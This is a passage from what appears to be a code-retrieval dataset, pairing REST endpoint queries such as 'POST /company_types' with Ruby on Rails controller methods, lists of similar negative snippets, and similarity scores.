"0.5957002",
"0.59517884",
"0.59459424",
"0.5938278",
"0.5930659",
"0.59182405",
"0.5915898",
"0.5913493",
"0.5910665",
"0.5907009",
"0.5903293",
"0.5896119",
"0.58958006",
"0.58954746",
"0.58950734",
"0.58885515",
"0.58739984",
"0.5866722",
"0.58623004",
"0.585616",
"0.5854099",
"0.584866",
"0.5848468",
"0.5844535",
"0.5841633",
"0.5835047",
"0.58306664",
"0.5823891",
"0.58200026",
"0.58192366",
"0.581661",
"0.5810308",
"0.5807698",
"0.5805677",
"0.580197",
"0.5801213",
"0.58008516",
"0.5797715",
"0.5793975",
"0.57936794",
"0.57786"
] | 0.75830656 | 1 |
POST /company_types POST /company_types.json | def create
@company_type = CompanyType.new(company_type_params)
if @company_type.save
render json: @company_type, status: :created, location: @company_type
else
render json: @company_type.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @type_company = TypeCompany.new(type_company_params)\n\n respond_to do |format|\n if @type_company.save\n format.html { redirect_to @type_company, notice: 'Type company was successfully created.' }\n format.json { render :show, status: :created, location: @type_company }\n else\n format.html { render :new }\n format.json { render json: @type_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_company_type = Admin::CompanyType.new(admin_company_type_params)\n\n respond_to do |format|\n if @admin_company_type.save\n format.html { redirect_to @admin_company_type, notice: 'Company type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_company_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_company_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_company_params\n params.require(:type_company).permit(:name)\n end",
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def create\n \n @company = current_profile.companies.build(company_params)\n\n @company.companytype_id = params[:company_id]\n\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
"def client_type_params\n params.require(:client_type).permit(:name, :description, :company_id, :branch_id)\n end",
"def company_type_params\n params.require(:company_type).permit(:is_confirm,:name,:code,:description)\n end",
"def create\n @company = Company.new(company_params)\n @company.tipo = '01'\n if @company.save \n render json: { status: :created }\n else\n render json: @company.errors, status: :unprocessable_entity\n end\n end",
"def set_company_type\n @company_type = CompanyType.find(params[:id])\n end",
"def create\n @tyc_company = Tyc::Company.new(tyc_company_params)\n\n respond_to do |format|\n if @tyc_company.save\n format.html { redirect_to @tyc_company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @tyc_company }\n else\n format.html { render :new }\n format.json { render json: @tyc_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @company = Company.find(entity_id_from_params(:company))\n respond_to do |format|\n current_user.account.companies << @company\n format.html { redirect_to root_path, notice: 'Company was successfully created.' }\n format.json\n end\n end\n end",
"def create\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.new(params[:entity_type])\n\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'Type was successfully created.' }\n format.json { render json: @entity_type, status: :created, location: @entity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: Company.create(params[\"company\"])\n end",
"def show\n render json: @company_type\n end",
"def index\n @type_companies = TypeCompany.all\n end",
"def create_types\n\t[Domain]\nend",
"def create_types\n\t[]\nend",
"def create_types\n\t[]\nend",
"def create_types\n\t\t[]\n\tend",
"def create_types\n\t\t[]\n\tend",
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @admin_company_types = Admin::CompanyType.all\n end",
"def create\n @entity_type = EntityType.new(entity_type_params)\n @entity_type.collection_id = @collection.id\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully created.' }\n format.json { render :show, status: :created, location: @entity_type }\n else\n format.html { render :new }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_type\n write_attribute(:type, Contact::Type::COMPANY)\n end",
"def type\n fetch('company.type')\n end",
"def create\n @company = Company.new(company_params[:company])\n @companyAuthority = @company.company_authority.new(company_params[:company_authority])\n\n if (!company_params[:lobs].blank?)\n company_params[:lobs].each do |lob|\n @companyAuthority.lob.new(lob)\n end\n end\n\n if @company.save\n render json: @company, status: :created, location: @company\n else\n render json: ErrorSerializer.serialize(@company.errors), status: :unprocessable_entity\n end\n end",
"def create\n exit_if_not_manager and return\n @relation_type = RelationType.new(relation_type_params)\n if params[:relation_type][:entity_type].present?\n @relation_type.entity_type = params[:relation_type][:entity_type].select{|a| a.present? }.join(\",\")\n end\n @relation_type.project_id = @project.id\n respond_to do |format|\n if @relation_type.save\n format.html { redirect_to project_relation_types_path(@project), notice: 'Relation type was successfully created.' }\n format.json { render :show, status: :created, location: @relation_type }\n else\n format.html { render :new }\n format.json { render json: @relation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer = Customer.new(params[:customer])\n @customer_types =\n CustomerType.new(\n :customer_type => params[:customer_type],\n :customer_type_name => params[:customer_type_name],\n :zip_number => params[:zip_number],\n :prefecture_cd => params[:prefecture_cd],\n :city => params[:city],\n :oaza => params[:oaza],\n :town => params[:town],\n :building_name => params[:building_name],\n :customer_type_memo => params[:customer_type_memo])\n\n @customer.customer_types << @customer_types\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: '以下の情報が登録されました。' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_break_type(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/labor/break-types',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def entity_type_params\n params.require(:entity_type).permit(:type)\n end",
"def create\n @type = Type.new(type_params)\n\n unless @type.save\n render json: @type.errors, status: :unprocessable_entity\n end\n \n end",
"def create\n @contractor_type = ContractorType.new(params[:contractor_type])\n\n respond_to do |format|\n if @contractor_type.save\n format.html { redirect_to @contractor_type, notice: 'Contractor type was successfully created.' }\n format.json { render json: @contractor_type, status: :created, location: @contractor_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contractor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def byState\n @company_types = CompanyType.where(\"state_id = ?\", company_type_params[:state_id])\n\n render json: @company_types\n end",
"def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end",
"def competence_type_params\n params.require(:competence_type).permit(:code, :name, :type, :required, :details)\n end",
"def admin_company_type_params\n params[:admin_company_type]\n end",
"def create\n @entity_type = EntityType.new(entity_type_params)\n\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully created.' }\n format.json { render :show, status: :created, location: @entity_type }\n else\n format.html { render :new }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pricetype = Pricetype.new(pricetype_params)\n\n respond_to do |format|\n if @pricetype.save\n format.html { redirect_to @pricetype, notice: 'Pricetype was successfully created.' }\n format.json { render :show, status: :created, location: @pricetype }\n else\n format.html { render :new }\n format.json { render json: @pricetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def typeconge_params\n params.require(:typeconge).permit(:typeconge)\n end",
"def client_type_params\n params.require(:client_type).permit(:category, :status)\n end",
"def create\n @opportunity_type = OpportunityType.new(params[:opportunity_type])\n\n respond_to do |format|\n if @opportunity_type.save\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully created.' }\n format.json { render json: @opportunity_type, status: :created, location: @opportunity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(nested_params)\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @business_type = BusinessType.new(params[:business_type])\n\n respond_to do |format|\n if @business_type.save\n format.html { redirect_to @business_type, notice: 'Business type was successfully created.' }\n format.json { render json: @business_type, status: :created, location: @business_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @business_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incident_type = IncidentType.new(incident_type_params)\n\n respond_to do |format|\n if @incident_type.save\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully created.' }\n format.json { render :show, status: :created, location: @incident_type }\n else\n format.html { render :new }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def company_params\n params.require(:company).permit(:company_type, :title, :logo, :specialization, :description, :user, :short_name, :english_name)\n end",
"def relation_type_params\n params.require(:relation_type).permit(:name, :color, :num_nodes, :project_id, :entity_type => [])\n end",
"def type_params\n params.require(:type).permit(:common_name, :botanical_name, :info_panel, :count)\n end",
"def create\n @global_company = GlobalCompany.new(params[:global_company])\n\n respond_to do |format|\n if @global_company.save\n format.html { redirect_to @global_company, notice: 'Global company was successfully created.' }\n format.json { render json: @global_company, status: :created, location: @global_company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @global_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, :notice => 'Company was successfully created.' }\n format.json { render :json => @company, :status => :created, :location => @company }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @company.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @competence_type = CompetenceType.new(competence_type_params)\n respond_to do |format|\n if @competence_type.save\n format.json { render :show, status: :created, object: @competence_type }\n else\n format.json { render json: @competence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @platform_account_type = PlatformAccountType.new(platform_account_type_params)\n\n respond_to do |format|\n if @platform_account_type.save\n format.html { redirect_to @platform_account_type, notice: 'Platform account type was successfully created.' }\n format.json { render :show, status: :created, location: @platform_account_type }\n else\n format.html { render :new }\n format.json { render json: @platform_account_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.require(:type).permit( :name)\n end",
"def create\n @account_company = Account::Company.new(account_company_params)\n\n respond_to do |format|\n if @account_company.save\n format.html { redirect_to @account_company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @account_company }\n else\n format.html { render :new }\n format.json { render json: @account_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def business_company_param\n params.require(:business_company).permit(\n :name,\n :type_identification,\n :rif,\n :email,\n :phone,\n :status,\n :address,\n :business_company_type_id,\n :firt_name_responsable,\n :last_name_responsable\n )\n end",
"def create\n @type = Type.new(type_params)\n @sub_types = params[:subtype_attributes]\n if @type.save\n @sub_types.each do |subtype|\n @subtype = @type.subtype.new\n @subtype.name = subtype[\"name\"]\n @subtype.code = subtype[\"code\"]\n @subtype.save\n end\n flash[:notice] = 'Type was successfully created.'\n redirect_to types_path\n else\n flash[:error] = @type.errors.full_messages\n render \"new\"\n end\n end",
"def create\n\t\tnew_types = params[:client][:new_status_type_ids]\n\t\tnew_types ||= []\n\t\t\n\t\tparams[:client].delete :new_status_type_ids\n\t\t\n @client = Client.new(params[:client])\n\t\t\n\t\tnew_types.each do |type_id|\n\t\t\tstatus = StatusType.find(type_id)\n\t\t\[email protected]_status_types << AssignedStatusType.new(:start_date => Time.now, :status_type=>status)\n\t\tend\n\n respond_to do |format|\n if @client.save\n flash[:notice] = 'Client was successfully created.'\n format.html { redirect_to(client_url(@client)) }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n\t\t\t\t@crime_sentence = @client.crime_sentences.first\n\t\t\t\t@errors = @client.errors\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def entity_type_params\n params.require(:entity_type).permit(:collection_id, :name, :color)\n end",
"def set_admin_company_type\n @admin_company_type = Admin::CompanyType.find(params[:id])\n end",
"def create\n @share_type = ShareType.new(share_type_params)\n @share_type.company = current_company\n\n respond_to do |format|\n if @share_type.save\n format.html { redirect_to @share_type, notice: t('share_type.created') }\n format.json { render :show, status: :created, location: @share_type }\n else\n format.html { render :new }\n format.json { render json: @share_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def load_contact_types\n ContactType.create(name_cd: 'email')\n ContactType.create(name_cd: 'phone')\n ContactType.create(name_cd: 'mobile')\n ContactType.create(name_cd: 'address')\nend",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rail_company = RailCompany.new(rail_company_params)\n\n respond_to do |format|\n if @rail_company.save\n format.html { redirect_to @rail_company, notice: 'Rail company was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rail_company }\n else\n format.html { render action: 'new' }\n format.json { render json: @rail_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @crate_type = CrateType.new(params[:crate_type])\n\n respond_to do |format|\n if @crate_type.save\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully created.' }\n format.json { render :json => @crate_type, :status => :created, :location => @crate_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @carrier_type = CarrierType.new(carrier_type_params)\n authorize @carrier_type\n\n respond_to do |format|\n if @carrier_type.save\n format.html { redirect_to @carrier_type, :notice => t('controller.successfully_created', :model => t('activerecord.models.carrier_type')) }\n format.json { render :json => @carrier_type, :status => :created, :location => @carrier_type }\n else\n prepare_options\n format.html { render :action => \"new\" }\n format.json { render :json => @carrier_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.require(:type).permit(:name)\n end",
"def create_map_type(map_type_body, options = {})\n path = base_uri\n request(path, options.merge(method: :post), map_type_body).to_s\n end",
"def committee_type_params\n params.require(:committee_type).permit(:comtype)\n end",
"def create\n @contract_type = ContractType.new(params[:contract_type])\n\n respond_to do |format|\n if @contract_type.save\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully created.' }\n format.json { render json: @contract_type, status: :created, location: @contract_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(params[:company])\n\n respond_to do |format|\n if @company.save\n format.html {\n redirect_to @company, notice: 'Company was successfully created.'\n }\n format.json {\n render json: @company, status: :created, location: @company\n }\n else\n format.html { render action: \"new\" }\n format.json {\n render json: @company.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n @valid_type = ValidType.new(valid_type_params)\n @valid_type.typed = true\n\n respond_to do |format|\n if @valid_type.save\n format.html { redirect_to valid_types_path, notice: 'Entity Type was successfully created.' }\n format.json { render :show, status: :created, location: @valid_type }\n else\n format.html { render :new }\n format.js { render :new }\n format.json { render json: @valid_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @specification_type = SpecificationType.new(specification_type_params)\n\n if @specification_type.save\n audit(@specification_type, current_user)\n render json: @specification_type, status: :created, serializer: Web::V1::SpecificationTypeSerializer\n else\n render json: @specification_type.errors, status: :unprocessable_entity\n end\n end",
"def contract_type_params\n params.require(:contract_type).permit(:name)\n end",
"def unity_type_params\n params.require(:unity_type).permit(:name)\n end",
"def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client_type = ClientType.new(client_type_params)\n\n if @client_type.save\n render :show, status: :created, location: @client_type\n else\n render json: @client_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render json: @company, status: :created, location: @company }\n else\n format.html { render action: \"new\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def platform_account_type_params\n params.require(:platform_account_type).permit(:name, :platform_id, :endpoint, :schema, :field_mapping)\n end",
"def create\n @company = Company.new(company_params)\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def coupom_type_params\n params.require(:coupom_type).permit(:name)\n end",
"def tipo_unidad_params\n params.require(:tipo_unidad).permit(:code, :name, :user_id, :company_id)\n end",
"def brew_type_params\n params.require(:brew_type).permit(:name, :description)\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incident_type = IncidentType.new(params[:incident_type])\n\n respond_to do |format|\n if @incident_type.save\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully created.' }\n format.json { render json: @incident_type, status: :created, location: @incident_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @entity_type = EntityType.new(params[:entity_type])\n @entity_type.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to @entity_type, notice: crud_notice('created', @entity_type) }\n format.json { render json: @entity_type, status: :created, location: @entity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client_type = ClientType.new(params[:client_type])\n\n respond_to do |format|\n if @client_type.save\n format.html { redirect_to @client_type, notice: 'Client type was successfully created.' }\n format.json { render json: @client_type, status: :created, location: @client_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company_branch = CompanyBranch.new(company_branch_params)\n\n respond_to do |format|\n if @company_branch.save\n format.html { redirect_to admin_company_branches_path, notice: 'Company branch was successfully created.' }\n format.json { render :show, status: :created, location: @company_branch }\n else\n format.html { render :new }\n format.json { render json: @company_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def task_type_params\n params.require(:task_type).permit(:company_id, :code, :name, :display_seq, :desc, :teammember_id, :uplevel_id)\n end"
] | [
"0.6962814",
"0.680279",
"0.66868913",
"0.66208154",
"0.6563562",
"0.63400257",
"0.6174167",
"0.61677396",
"0.6143639",
"0.611549",
"0.6110198",
"0.60799456",
"0.6071588",
"0.6069727",
"0.6054",
"0.6036068",
"0.6017305",
"0.5914957",
"0.5914957",
"0.5900653",
"0.5900653",
"0.58896583",
"0.58611226",
"0.5855926",
"0.5852928",
"0.58270913",
"0.5785234",
"0.5766675",
"0.5759902",
"0.5752472",
"0.57509625",
"0.574607",
"0.57319665",
"0.5711203",
"0.5689042",
"0.56869864",
"0.56779706",
"0.56775427",
"0.56672007",
"0.56583136",
"0.5652114",
"0.5647557",
"0.5643731",
"0.5613433",
"0.5609542",
"0.5601752",
"0.5591194",
"0.55883837",
"0.5587238",
"0.5578013",
"0.55617344",
"0.55576867",
"0.5556266",
"0.5548814",
"0.5543956",
"0.5532732",
"0.5530945",
"0.55150545",
"0.55138624",
"0.55108565",
"0.5508303",
"0.5498374",
"0.54949784",
"0.5490365",
"0.54881436",
"0.5487873",
"0.5487335",
"0.5487335",
"0.5487335",
"0.5487335",
"0.54833895",
"0.54824",
"0.54822123",
"0.5479569",
"0.5476082",
"0.5475098",
"0.5474257",
"0.5472989",
"0.5459321",
"0.54444826",
"0.54406464",
"0.5438964",
"0.5434612",
"0.54331696",
"0.5427844",
"0.54276335",
"0.54274553",
"0.542665",
"0.5426073",
"0.5422083",
"0.54196113",
"0.54196113",
"0.54196113",
"0.54196113",
"0.54196113",
"0.5418542",
"0.54149956",
"0.54141045",
"0.541299",
"0.5412124"
] | 0.74006945 | 0 |
PATCH/PUT /company_types/1 PATCH/PUT /company_types/1.json | def update
@company_type = CompanyType.find(params[:id])
if @company_type.update(company_type_params)
head :no_content
else
render json: @company_type.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @company = Company.friendly.find(params[:id])\n\n @company.companytype_id = params[:companytype_id]\n\n\n\n respond_to do |format|\n\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_company_type.update(admin_company_type_params)\n format.html { redirect_to @admin_company_type, notice: 'Company type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_company_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @type_company.update(type_company_params)\n format.html { redirect_to @type_company, notice: 'Type company was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_company }\n else\n format.html { render :edit }\n format.json { render json: @type_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n respond_to do |format|\n if @tyc_company.update(tyc_company_params)\n format.html { redirect_to @tyc_company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @tyc_company }\n else\n format.html { render :edit }\n format.json { render json: @tyc_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_company_type\n @company_type = CompanyType.find(params[:id])\n end",
"def update\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n if @contractor_type.update_attributes(params[:contractor_type])\n format.html { redirect_to @contractor_type, notice: 'Contractor type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.json { render :show, status: :ok, location: @company }\n else\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client_company.update(company_params)\n format.html {redirect_to @client_company, notice: 'Company was successfully updated.'}\n format.json {render :show, status: :ok, location: @client_company}\n else\n format.html {render :edit}\n format.json {render json: @client_company.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @opportunity_type = OpportunityType.find(params[:id])\n\n respond_to do |format|\n if @opportunity_type.update_attributes(params[:opportunity_type])\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to companies_url, notice: @company.name + ' was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @share_type.company = current_company\n respond_to do |format|\n if @share_type.update(share_type_params)\n format.html { redirect_to @share_type, notice: t('share_type.updated') }\n format.json { render :show, status: :ok, location: @share_type }\n else\n format.html { render :edit }\n format.json { render json: @share_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(company_params[:id])\n\n if @company.update(company_params)\n head :no_content\n else\n render json: @company.errors, status: :unprocessable_entity\n end\n end",
"def update\n @contract_type = ContractType.find(params[:id])\n\n respond_to do |format|\n if @contract_type.update_attributes(params[:contract_type])\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # authorize @company\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to admin_company_path(@company), notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html {\n redirect_to @company, notice: 'Company was successfully updated.'\n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json {\n render json: @company.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def update\n standard_update(OrganizationType, params[:id], organization_type_params)\n end",
